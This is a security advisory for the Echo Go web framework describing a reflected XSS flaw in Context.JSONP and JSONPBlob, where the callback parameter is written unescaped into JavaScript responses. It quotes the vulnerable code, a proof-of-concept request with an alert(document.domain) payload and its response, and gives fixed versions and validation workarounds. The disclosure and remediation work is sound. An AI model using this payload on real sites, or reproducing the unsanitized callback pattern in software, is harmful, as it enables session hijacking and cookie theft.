GHSA-h9g5-28mm-hx3g
Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/labstack/echo/v5 | < 5.4.0 | 5.4.0 |
| Go | github.com/labstack/echo/v4 | < 4.16.0 | 4.16.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The `Context.JSONP`, `Context.JSONPBlob`, and internal `jsonPBlob` helper in `context.go` directly concatenate the caller-supplied `callback` parameter into a JavaScript response **without any validation, escaping, or allow-listing**.
This creates a high-impact **reflected XSS** that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.
**Present in current master and v5.1.0 (latest release).**
### Vulnerable Code (verbatim)
```go
func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
c.response.WriteHeader(code)
if _, err = c.response.Write([]byte(callback + "(")); err != nil {
return
}
if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
return
}
if _, err = c.response.Write([]byte(");")); err != nil {
return
}
return
}
func (c *Context) JSONP(code int, callback string, i any) (err error) {
return c.jsonPBlob(code, callback, i)
}
func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
c.response.WriteHeader(code)
if _, err = c.response.Write([]byte(callback + "(")); err != nil {
return
}
if _, err = c.response.Write(b); err != nil {
return
}
_, err = c.response.Write([]byte(");"))
return
}
```
No sanitization is performed on the callback string.
### Exploit (one-request repro)
Any route using the official pattern is vulnerable:
```
Goe.GET("/api", func(c echo.Context) error {
return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})
```
Attacker request:
```
GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com
```
Server response:
```
Content-Type: application/javascript; charset=utf-8
alert(document.domain)//({"status":"ok"});
```
→ Immediate arbitrary JavaScript execution (full reflected XSS).
### Impact
- Session hijacking, cookie theft, account takeover, keylogging, defacement.
- Works even with strict CSP (response is served as application/javascript).
#### Affected Versions
- All versions ≤ v5.1.0 (including current master)
#### Workarounds
Manually sanitize the callback before calling JSONP/JSONPBlob:
```
Gofunc safeCallback(cb string) string {
if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\[\]]+$`, cb); !matched {
return "callback"
}
return cb
}
```
Or migrate away from JSONP entirely (use CORS + application/json).
### References
- https://github.com/labstack/echo/blob/master/context.go
- https://echo.labstack.com/docs/cookbook/jsonp
## Patches
Fixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. `Context.JSONP` and `Context.JSONPBlob` accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, `_` and `$`); any other callback returns a 400 Bad Request error wrapping `ErrInvalidJSONPCallback` and nothing is written. JSONP responses also carry `X-Content-Type-Options: nosniff`.
## Workarounds
Validate the callback in your handler before calling `Context.JSONP`, for example against `^[A-Za-z_$][A-Za-z0-9_$]*(\.[A-Za-z_$][A-Za-z0-9_$]*)*$`, and set `X-Content-Type-Options: nosniff`. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/labstack/echo/security/advisories/GHSA-h9g5-28mm-hx3g
- https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1
- https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af
- https://github.com/labstack/echo
- https://github.com/labstack/echo/releases/tag/v4.16.0
- https://github.com/labstack/echo/releases/tag/v5.4.0